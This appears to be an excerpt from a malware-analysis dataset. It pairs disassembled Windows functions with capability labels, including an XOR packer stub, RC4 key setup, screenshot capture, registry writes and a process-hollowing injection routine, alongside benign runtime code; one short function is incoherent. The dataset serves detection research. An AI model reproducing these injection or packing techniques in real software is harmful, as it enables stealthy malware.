joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407dd0
Capabilities:
Print debug messages
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push str.localhost
mov eax, dword [ebp + 8]
push eax
call fcn.0041ed15
add esp, 8
test eax, eax
jne 0x407e01
push str.127.0.0.1
call sub.WSOCK32.dll_inet_addr
jmp 0x407eac
mov ecx, dword [ebp + 8]
push ecx
call fcn.00407d00
add esp, 4
test eax, eax
je 0x407e24
mov edx, dword [ebp + 8]
push edx
call sub.WSOCK32.dll_inet_addr
jmp 0x407eac
mov eax, dword [ebp + 8]
push eax
call sub.WSOCK32.dll_gethostbyname
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x407e43
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jne 0x407ea4
call sub.WSOCK32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
sub edx, 0x2af9
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 3
ja case.default.0x407e66
mov eax, dword [ebp - 0xc]
jmp dword [eax*4 + 0x407eb0]
push str.The_host_was_not_found._n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp case.default.0x407e66
push str.The_name_is_valid_but_it_has_no_address._n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp case.default.0x407e66
push str.A_non_recoverable_name_server_error_occurred._n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp case.default.0x407e66
push str.The_name_server_is_temporarily_unavailable.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
or eax, 0xffffffff
jmp 0x407eac
mov eax, dword [ebp - 4]
jmp 0x407eac
mov esp, ebp
pop ebp
ret
Function at 0x410350
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
push 4
mov ecx, dword [ebp - 4]
push ecx
push 0x410320
push 0
push 0
call fcn.0041eb57
add esp, 0x18
mov edx, dword [ebp - 4]
mov dword [edx + 4], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x410388
xor al, al
jmp 0x41038a
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x410390
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
je 0x4103ad
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x411f50
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x43e9e0], 0
je 0x412019
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x46b
je 0x411f77
jmp 0x412019
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov ecx, dword [0x43e9e0]
call fcn.00402ad0
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
call fcn.00401fc0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0
jmp 0x411fb7
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0x10]
jge 0x412009
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
call fcn.00401fe0
mov ecx, dword [eax]
mov edx, dword [ecx + 0x4c]
cmp edx, dword [ebp + 0xc]
jne 0x411fea
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
call fcn.00401fe0
mov ecx, dword [eax]
mov dword [ecx + 0x50], 1
mov edx, dword [ebp - 0x14]
push edx
mov ecx, dword [ebp - 8]
call fcn.00401fe0
mov eax, dword [eax]
cmp dword [eax + 0x50], 0
je 0x412007
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x411fae
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jne 0x412019
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x4144e0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
xor eax, eax
jne 0x4144e9
xor ecx, ecx
jne 0x4144e9
xor edx, edx
cmp dword [ebp + 0xc], 0
setne dl
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
jne 0x41450a
mov eax, 0xd
jmp 0x414536
xor eax, eax
jne 0x4144f1
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret 0xc

Function at 0x414540
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
xor eax, eax
jne 0x414549
xor ecx, ecx
jne 0x414549
xor edx, edx
cmp dword [ebp + 0xc], 0
setne dl
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
jne 0x41456a
mov eax, 0xd
jmp 0x4145bf
xor eax, eax
jne 0x414551
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
cmp dword [ebp - 0xc], 1
jne 0x41457b
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 0xc]
push eax
push 7
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret 8
Function at 0x4145d0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x430fd8
mov eax, dword fs:[0]
push eax
sub esp, 0x130
mov eax, dword [0x43c2d0]
xor eax, ebp
mov dword [ebp - 0x28], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x13c], ecx
lea ecx, [ebp - 0x20]
call fcn.00411950
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x13c]
mov ecx, dword [eax + 4]
or ecx, 0x2001f
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x13c]
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x20]
call fcn.004119f0
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x414661
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x130], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00411980
mov eax, dword [ebp - 0x130]
jmp 0x414700
mov dword [ebp - 0x10], pe_nt_image_headers32
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x12c]
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x4146ce
lea ecx, [ebp - 0x12c]
push ecx
lea ecx, [ebp - 0x20]
call fcn.004145d0
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4146c5
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x134], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00411980
mov eax, dword [ebp - 0x134]
jmp 0x414700
mov dword [ebp - 0x10], pe_nt_image_headers32
jmp 0x414668
lea ecx, [ebp - 0x20]
call fcn.004119a0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x13c]
call fcn.004143a0
mov dword [ebp - 0x138], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00411980
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x28]
xor ecx, ebp
call fcn.0041d486
mov esp, ebp
pop ebp
ret 4
Function at 0x41d486
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43c2d0]
jne 0x41d490
repz ret
jmp fcn.004225f6

Function at 0x42b3da
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0042298a
and dword [ebp - 4], 0
cmp dword [0x43e870], 0
mov ebx, eax
jne 0x42b48b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x42b53c
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x42b53c
push eax
call fcn.00422918
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43e870], eax
call esi
push eax
call fcn.00422918
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43e874], eax
call esi
push eax
call fcn.00422918
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43e878], eax
call esi
push eax
call fcn.00422918
pop ecx
mov dword [0x43e880], eax
test eax, eax
je 0x42b48b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00422918
pop ecx
mov dword [0x43e87c], eax
mov eax, dword [0x43e87c]
cmp eax, ebx
je 0x42b4e3
cmp dword [0x43e880], ebx
je 0x42b4e3
push eax
call fcn.00422993
push dword [0x43e880]
mov esi, eax
call fcn.00422993
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x42b4e3
test edi, edi
je 0x42b4e3
call esi
test eax, eax
je 0x42b4da
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42b4da
test byte [ebp - 0xc], 1
jne 0x42b4e3
or dword [ebp + 0x10], 0x200000
jmp 0x42b51c
mov eax, dword [0x43e874]
cmp eax, ebx
je 0x42b51c
push eax
call fcn.00422993
pop ecx
test eax, eax
je 0x42b51c
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x42b51c
mov eax, dword [0x43e878]
cmp eax, ebx
je 0x42b51c
push eax
call fcn.00422993
pop ecx
test eax, eax
je 0x42b51c
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43e870]
call fcn.00422993
pop ecx
test eax, eax
je 0x42b53c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x42b53e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40646b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x40648f
xor eax, eax
test eax, eax
je 0x4064a1
cmp byte [ebp + eax - 0x121], 0x5c
je 0x4064a1
xor ecx, ecx
jmp 0x4064a4
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x40a014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x406590
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4232c4], 0
push esi
jne 0x4065c7
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4065a1
mov dword [ecx*4 + 0x4232c0], eax
inc ecx
cmp ecx, 0x100
jl 0x40659c
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4065f8
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4232c0]
xor eax, esi
inc ecx
dec edx
jne 0x4065da
pop edi
not eax
pop esi
ret 0xc

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x554f5d3a
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data_1
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
mov esi, 0x4a8a1627
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x430990
Capabilities:
Capture screenshot

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x435ee8
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
mov eax, dword [esi + 4]
test eax, eax
je 0x430aa0
push ebx
push ebp
push edi
lea ecx, [esp + 0x14]
call fcn.00431276
mov ecx, dword [esi + 4]
lea eax, [esp + 0x24]
push eax
push 0x18
push ecx
mov dword [esp + 0x50], 0
call dword [sym.imp.GDI32.dll_GetObjectA]
mov eax, dword [esp + 0x4c]
mov edi, dword [esp + 0x28]
mov ebp, dword [esp + 0x2c]
test eax, eax
je 0x4309ee
mov eax, dword [eax + 4]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push eax
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CDC::Attach
test esi, esi
je 0x430a06
mov esi, dword [esi + 4]
mov edx, dword [esp + 0x18]
push esi
push edx
call sub.MFC42.DLL_CDC::SelectGdiObject
mov ebx, dword [esp + 0x54]
mov ecx, dword [esp + 0x5c]
mov esi, dword [esp + 0x50]
cmp ebx, ecx
mov dword [esp + 0x10], eax
jge 0x430a71
cmp esi, dword [esp + 0x58]
jge 0x430a63
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x14]
neg eax
sbb eax, eax
push 0xcc0020
and eax, ecx
push 0
push 0
push eax
mov eax, dword [esp + 0x5c]
push ebp
push edi
push ebx
mov ecx, dword [eax + 4]
push esi
push ecx
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esp + 0x58]
add esi, edi
cmp esi, eax
jl 0x430a2b
mov esi, dword [esp + 0x50]
mov eax, dword [esp + 0x5c]
add ebx, ebp
cmp ebx, eax
jl 0x430a25
mov eax, dword [esp + 0x10]
pop edi
pop ebp
test eax, eax
pop ebx
je 0x430a7b
mov eax, dword [eax + 4]
mov edx, dword [esp + 0xc]
push eax
push edx
call sub.MFC42.DLL_CDC::SelectGdiObject
lea ecx, [esp + 8]
call sub.MFC42.DLL_CDC::DeleteDC
lea ecx, [esp + 8]
mov dword [esp + 0x38], 0xffffffff
call sub.MFC42.DLL_CDC::CDC
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 0x14

Function at 0x431110
Capabilities:
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x435f90
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
push edi
mov esi, ecx
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x14], 0
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x431188
xor edi, edi
mov ecx, dword [esp + 0x1c]
push ecx
mov ecx, esi
call fcn.00430e80
test eax, eax
jne 0x431188
inc edi
cmp edi, 4
jl 0x43113f
test eax, eax
jne 0x431188
lea edx, [esp + 0x1c]
lea eax, [esp + 8]
push edx
push 0x43f788
push eax
call sub.MFC42.DLL_operator_1
mov ecx, dword [esp + 8]
push 0
push 0
push ecx
mov byte [esp + 0x20], 1
call sub.MFC42.DLL_AfxMessageBox
push 0
call dword [sym.imp.MSVCRT.dll_exit]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x403161
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x403161
lcall 0x5de5, 0x8b10c483
jmp loc.00791034
Function at 0x405560
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4848dd0
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x4862014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
mov ecx, 0x48630bc
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.00418c30
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x4862a8c
push eax
call fcn.00418c30
mov esi, dword [0x48630cc]
xor ebx, ebx
mov edi, dword [0x48630d0]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0x4866360], bl
mov eax, ebx
mov ecx, 0x48630bc
cmovae ecx, dword [0x48630bc]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0x4866470], al
inc ebx
cmp ebx, 0x100
jl 0x4055e0
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0x4866360]
movzx eax, byte [esi + 0x4866470]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x405634
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0x4866360]
mov byte [esi + 0x4866360], al
inc esi
mov byte [edi + 0x4866360], dl
cmp esi, 0x100
jl 0x405610
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.00405250
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x405689
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40567f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4056df
push edx
push ecx
call fcn.0041e293
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x4056cb
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4056c1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4056df
push edx
push ecx
call fcn.0041e293
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0043789a
int3
Function at 0x407c70
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0x4862014]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call dword [0x48500ac]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x407e59
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x407e59
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.00434d20
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call dword [0x48500b0]
test eax, eax
je 0x407e59
push 4
push 0x1000
push 4
push 0
call dword [0x485009c]
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call dword [0x4850038]
test eax, eax
je 0x407e59
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0x4858db0
push dword [esp + 0x30]
call dword [0x4850048]
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0x407d7c
push 0x4858db4
push 0x4858dcc
call dword [0x4850088]
push eax
call dword [0x485003c]
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call dword [0x4850040]
mov dword [esp + 0x14], eax
test eax, eax
je 0x407e59
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call dword [0x48500a8]
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0x407e13
mov dword [esp + 0xc], eax
call fcn.00407ac0
push eax
call dword [0x485007c]
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call dword [0x48500a8]
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0x407dc2
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call dword [0x48500a8]
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call dword [0x4850054]
push dword [esp + 0x24]
call dword [0x485008c]
push 0x8000
push 0
push esi
call dword [0x48500a4]
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.0041dc21
mov esp, ebp
pop ebp
ret
Function at 0x40ba50
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4849686
mov eax, dword fs:[0]
push eax
sub esp, 0x438
mov eax, dword [0x4862014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x414], ebx
push 0
mov dword [ebp - 0x414], ebx
call fcn.00439726
push eax
call fcn.00437290
add esp, 8
call fcn.0043726f
cdq
mov ecx, 0x3313
idiv ecx
mov edi, edx
call fcn.0043726f
mov ecx, eax
mov eax, 0x55555556
imul ecx
mov esi, edx
shr esi, 0x1f
add esi, edx
imul esi, edi
call fcn.0043726f
imul edx, eax, 0x4d
lea ecx, [ebp - 0x444]
add edx, 0x64
add edx, esi
call fcn.00405170
mov dword [ebp - 4], 0
lea eax, [ebp - 0x444]
cmp dword [ebp - 0x430], 0x10
lea edx, [ebp - 0x410]
cmovae eax, dword [ebp - 0x444]
sub edx, eax
nop
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x40bb00
lea esi, [ebp - 0x410]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x40bb16
push 0x40
push 0
push 0x4868530
sub esi, ecx
call fcn.00434d20
add esp, 0xc
mov dword [0x4868524], 0
mov edx, esi
mov dword [0x4868520], 0
lea ecx, [ebp - 0x410]
mov dword [0x4868510], 0x67452301
mov dword [0x4868514], 0xefcdab89
mov dword [0x4868518], 0x98badcfe
mov dword [0x486851c], 0x10325476
call fcn.00406040
call fcn.00406100
mov ecx, 0x4866570
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0xf
mov byte [ebp - 0x42c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40bba1
sub ecx, edx
push ecx
push 0x4866570
lea ecx, [ebp - 0x42c]
call fcn.00418c30
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x430]
cmp edx, 0x10
jb 0x40bbfc
mov ecx, dword [ebp - 0x444]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40bbf2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bcbc
push edx
push ecx
call fcn.0041e293
add esp, 8
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x41c]
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0xf
mov byte [ebx], 0
cmp eax, 1
jb 0x40bcb7
dec eax
mov ecx, 0xa
cmp eax, ecx
cmovb ecx, eax
cmp dword [ebp - 0x418], 0x10
lea eax, [ebp - 0x42c]
cmovae eax, dword [ebp - 0x42c]
push ecx
inc eax
mov ecx, ebx
push eax
call fcn.00418c30
mov edx, dword [ebp - 0x418]
cmp edx, 0x10
jb 0x40bc99
mov ecx, dword [ebp - 0x42c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40bc8f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bcbc
push edx
push ecx
call fcn.0041e293
add esp, 8
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041dc21
mov esp, ebp
pop ebp
ret
call fcn.00418d70
call fcn.0043789a
int3